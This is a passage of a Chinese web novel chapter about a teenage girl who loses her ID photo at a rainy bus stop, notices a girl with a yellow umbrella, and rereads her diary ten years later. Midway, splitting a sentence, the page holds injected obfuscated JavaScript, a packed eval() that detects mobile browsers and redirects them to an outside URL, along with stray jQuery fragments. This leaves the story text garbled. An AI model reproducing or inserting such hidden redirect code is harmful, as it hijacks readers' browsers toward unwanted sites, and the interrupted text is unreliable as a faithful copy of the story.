1. 雨
作品:《我想和妳做朋友》 姜夏讨厌雨天。
无论是倾盆而泄的大雨,还是淅沥沥的中雨,又或者是蒙蒙细雨,当雨滴或雨丝飘落在人身上的时候,总是凉的,连带着心也给浇透了。
有伞的时候也一样。
不知道从哪里就会飘过来雨,它们会和风一起戏弄姜夏。
现在就是这样。
姜夏撑着一把黑伞,孤零零地站在公交站牌旁边,头顶上的伞保护了她不受大部分雨的侵袭。
每一把伞下都住着一个人。
有时候,会是两个,或者是三个。
每当撑起伞,姜夏总觉得她被世界隔开了。
在雨掀起波澜的时刻,她也在雨幕里变得孤独,在这个她还不太熟悉的城市里变得孤独。
姜青中了彩票,立刻决定要带着姜夏来B市生活。
于是,在初升高的暑假,姜夏的一切都被姜青给操办好了。
她通过了B市一中的考试,再过几天就会开学。
黑色的屏幕上,红字和绿字交织着滚动,一辆又一辆的公交车对姜夏打开门,又关上门,它们从她的身边驶过。
落在地上的雨水沾湿了姜夏的裤脚,她穿着拖鞋,脚后跟上也沾上了泥巴。
这是十五岁的姜夏讨厌雨天的原因之一,因为麻烦。
雨总是趁人不备带来意外。
姜夏无聊地旋转着伞柄,水珠圆滚滚地从伞布上滑下来又奔向四周,不知道去哪儿了。
想起在东城的时候,姜夏只觉得有一点可惜。
她没有交到一个很好的朋友。
她以为的朋友,在时间和空间的变化中,后知后觉地和她走散了。
十五岁,她开始发现,原来朋友是会走散的。
姜夏低下头,她的两个大拇指翘起,像是自己在和自己打招呼。
她在心里对自己说,妳好,我是姜夏。
夏,是姜青翻阅了很久的字典才给她取下的名字,姜青觉得“夏”这个字很好听,反正她们是在一个夏季相遇的。
姥姥姜妮也非常赞成。
姜夏拿出手机看了一眼,已经下午两点了。早知道,她就应该明天或者后天再来拍证件照了。
姜夏漫不经心地打量着街对面的高楼,小时候她们三个来过B市旅游,变化真大。
一把伞从姜夏身前经过,遮挡住了姜夏的视线。那是一把黄色的伞,内里似乎还印着星空的图案,很亮眼。
和姜夏差不多大的女孩,她盯着站牌看了好一会。
她们之间的距离不远也不近。
潮湿的雨和空气亲密拥抱,连带着空气也是湿答答的,这又是姜夏不喜欢雨的原因。
她喜欢清爽,喜欢干燥,喜欢阳光。
姜夏决定回到家里一定要在日记本上写很多条雨的坏处。
那个女孩走到姜夏的身边,她们并排站在一起,远远望去,似乎像熟识的朋友。
虽然是陌生人,但姜夏也对她生出了几分好奇。
12路车到了。
喇叭声响起,开车的姐姐打开车门,提醒着要上车的乘客。
姜夏从口袋里摸出交通卡,姜青女士早就准备好了,这很方便。
“滴。”
姜夏在最后面找了个靠窗的位置坐下,她又看了一眼那个撑着黄色雨伞的女孩。
公交车启动了。
隔着玻璃,雨滴坐着滑滑梯从上面到了底部,留下一行水渍,让姜夏的世界也跟着模糊。
那女孩对她摆了摆手?
姜夏往后看,她上前追了几步,嘴巴张张合合,姜夏不知道她在说什么?
雨声遮盖了人声。
姜夏耳朵里只有公交车发动的声音,还有公交车里电视机播报的声音。
她要坐车吗?
姜夏还没来得及叫住司机,黄色的伞就在姜夏的视野里消失了,公交车离开了站牌。
这是什么意思?
姜夏下了车,还在想那个女孩的事情。她迈着大步子,新小区的绿化环境很好,经过雨的洗礼,花坛里的灌木都显得生机勃勃。
姜夏再次合上伞,站在屋檐下抖落雨滴,按下电梯。
她们的家在6楼,姜妮不和她们住在一起,姜妮在东城有自己的房子。每当逢年过节的时候,她们会聚在一起。
姜青说,等姜夏十八岁了,她也会给姜夏买一套房子,这样她们各自都会有各自的空间。
那一天,还有三年。
姜夏把伞放在门口,用指纹解锁了门,换上干净的拖鞋。
姜青女士正悠闲地窝在沙发上,看着电影。
“怎么样?这次的证件照让我看看。”
姜青挺起上半身,笑嘻嘻地看着姜夏,伸出了右手。
姜夏伸进裤子的口袋里,她这才发现自己拍的证件照不见了,顶着姜青期待的目光,她把两个口袋都掏了掏。
只有手机和公交卡,没有证件照。
所以……
所以那个女孩是在提醒她证件照掉了?
她在等公交车的时候,频繁拿取了手机和公交卡,还看了一下证件照。
“嗯,好像掉了。”
姜夏只能无奈地接受了这个现实,还好她手机里有电子版。
“掉了?那就掉了,小夏妳这么细心的人,还有丢三落四的一天,真是稀奇。”
姜青重新又躺了回去,她捂着嘴偷笑。
姜夏撇撇嘴,“没办法。”
“我还以为又能给妳留起来呢,那等雨停了,妳自己再去打印吧。”
姜夏踢拉着新拖鞋走进自己的房间,“知道了。”
她关上门,直接躺在了床上。
天啊!地啊!
好吧,也许她的证件照就遗落在了公交站,也许她的证件照会被那个女孩捡起来,也许她会被那个女孩当做好笑的事讲给自己的朋友听。
但不管怎么样,还是要谢谢她的提醒。
姜夏从床上爬起来,在自己的书架上翻出来日记本。
她坐在书桌上,又从抽屉里拿出油漆笔,还有贴纸和标签纸。
她喜欢记录,后来又开始丰富日记的颜色,那应该叫手帐才对,但在视觉上又不太有艺术效果。
姜夏是这样评价自己的。
她翻来第一页,这是她新换的日记本,棕色的皮外壳,里面是空白的活页。
她用黑笔写下姜夏两个大字,再落上时间。
XX25年8月28日,雨。
后面又画了一个简单的哭脸。
姜夏用蓝色的油漆笔画出云朵,又但翻找出油画棒,加了几滴雨,在这一页的最底下,画上雨的波纹。
她写。
“我讨厌下雨,下雨就要打伞,我不仅要用伞保护自己的身体不被淋到,还要保护自己的裤脚和脚不被沾湿。”
“我讨厌下雨,雨会乱飘,伞就没用了。当伞没用的时候,才是雨的降临,令我郁闷的梦。”
“我讨厌下雨,雨带来了潮湿,雨破坏了晴天,雨也破坏了我的心情。”
“最重要的是,我今天刚拍的证件照丢了。”
“丢失地点:公交站。
主要人物:黑伞人和黄伞人。
遗失情况:初步判定是姜夏翻兜忘记塞到里面了。”
姜夏想了想,又在遗失情况后面加上了括号。
(因为我忘记确认证件照的状态了。)
姜夏用黄色的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007441|194061||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
荧光笔画了一把伞,一个特别的女孩,声音不太大,但热心。
姜夏在想她们是同学的可能性。
似乎,成为同学也不错。
她又在日记本上写下了新的一句话。
“我能和妳做朋友吗?”
“我能和妳做朋友吗?”
二十五岁的姜夏读到了这句话,她的记忆也跟着穿梭回了那个带着雨的下午。
她笑出了声。
外面还在下雨,薄薄的雨丝攀附在玻璃上,姜夏半卧在床上,今天是她难得的假期。
果然,拜托姜青女士从B市的家里给她寄过来高中时期的日记,这是正确的选择。
十五岁的她,总有奇思妙想,天马行空。
下雨。
她现在倒是不讨厌下雨,因为她躲在自己的家里。而十五岁的姜夏则是躲在伞下,丢了新拍的证件照后,又回到家里,在日记本上写下了这些愤愤不平的话。
雨是一种天气。
一种可以让二十五岁的姜夏平和入睡的天气。
她最喜欢休息日的雨。
就像现在。
姜夏放下日记本,从书桌上拿了一根红笔,想了想。
她在那一句话的下面写道,“妳会和她做朋友的。”
妳会和她成为好朋友,又会在毕业的时候走散,像是雨季里来得恰到好处的一把黄伞。
那颜色也成为雨季里独特又鲜亮的存在。
在二十五岁姜夏的记忆里闪闪发光。
李玉方。
姜夏刻意遗忘的名字,李玉方。
她是一个独特的人,喜欢黄色,喜欢下雨,喜欢看书,是一个自大鬼,又是一个胆小鬼。
“铃铃铃——”
铃声打断了姜夏的思绪,她点开极薄的新型手环,是她的同事周一言。
“喂?周姐?”
那边的声音很嘈杂,对方似乎在动车上。
“小夏,妳还没看到公司群里发的通知吧,组长没有通过咱们的游戏方案。”
“这样啊……”
姜夏认命地合上自己的日记本,她能够猜到接下来会发生什么样的事情。
“我今天去C市旅游了,现在正在往A市赶,组长说半个小时后要开线上会议。”
周一言的语气焦急,因为姜夏没有在群里回复,她才特意给姜夏打了电话。
主要策划人是姜夏,她们的心血还需要雕琢。
“嗯,谢谢周姐,我知道了,我这就去群里回复。”
姜夏一边道谢,一边外置屏幕,在群里回复了收到,估计还要开摄像头。
方案有没有通过,她和周一言本来都对这一版信心满满的,可是组长毫不留情地打了否。
还好不用赶去公司加班。
今天下雨了,出去的话,她也许还会像小时候一样,被雨沾湿裤脚。
组长季华在屏幕里正襟危坐,她清咳了几声,看背景也是在家里。
“小夏,一言,妳们两个这次的方案不错,我可以给85分,但是问题就在于,咱们这款游戏的受众是13岁-30岁,妳们这个解谜的倾向是不是太高智,太偏恐怖风了。”
姜夏尬笑了几声,“季姐您说得有道理。”
这还恐怖?至于高智,哪怕是孩子,她们的思想都很成熟啊。
季华上次也跟她们强调过这个受众的问题。上次这个解谜游戏的背景是科幻向,不仅组长不赞成,经理也不赞成。
这次改成流行的恐怖风也不行。
那到底……应该是什么样的?
开完会的姜夏又躺回了床上,她看着天花板,决定把这个问题留给明天。
她在雨声中闭上了眼。

